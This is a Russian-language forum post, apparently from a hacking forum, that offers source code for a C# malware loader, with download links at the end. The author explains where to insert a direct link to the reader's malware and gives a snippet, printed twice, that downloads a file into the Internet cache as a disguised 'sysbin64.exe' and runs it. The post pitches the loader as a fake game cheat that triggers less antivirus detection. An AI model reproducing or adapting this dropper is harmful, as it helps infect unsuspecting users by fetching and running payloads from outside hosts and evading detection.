Всем привет! Сегодня я бы хотел поделится с вами исходником лоадера для вашего малваря."Для чего он нужен?" - Исходник нужен для того что бы не заморачиватся с кодом запуска малваря а просто вставить 1-2 ссылки и разукрасить как вам вздумается. Что нужно менять в коде? Думаю что если открыть сам код вы сами всё поймете, но если вам сначала надо рассчитать ваши силы в кодинге то вот. Смотрим на 37 строчку кода и сразу видим что нужно заменять что бы после нажатия кнопки запуска у нас скачивался малварь и сразу запускался. Uri malw = new Uri(" Прямая ссылка на скачивание вашего малваря "); Так же с 49 до 61 можно расскоментить код и получить строки для последующего скачивания и запуска любой другой программы что бы было правдеподобнее. await Task.Delay(4000); // ожидание после запуска малваря Uri prog = new Uri(" так же сюда можно добавить что-то что будет запускатся после малваря, так же прямой ссылкой "); Task.Run(() => { using (WebClient client = new WebClient()) { client.DownloadFileAsync(prog, $@"{Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)}/sysbin64.exe"); client.DownloadFileCompleted += (s, a) => { Process.Start($@"{Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)}/sysbin64.exe"); }; } }).Wait(); C# await Task.Delay(4000); // ожидание после запуска малваря Uri prog = new Uri(" так же сюда можно добавить что-то что будет запускатся после малваря, так же прямой ссылкой "); Task.Run(() => { using (WebClient client = new WebClient()) { client.DownloadFileAsync(prog, $@"{Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)}/sysbin64.exe"); client.DownloadFileCompleted += (s, a) => { Process.Start($@"{Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)}/sysbin64.exe"); }; } }).Wait(); Ну или можете просто убрать эти строчки кода и продолжить разработку супер чита с малварем в лоадере Почему бы просто не склеить? Детекта будет меньше так как мы заливаем прогу которая не содержит в себе самого малваря. SS DW Mega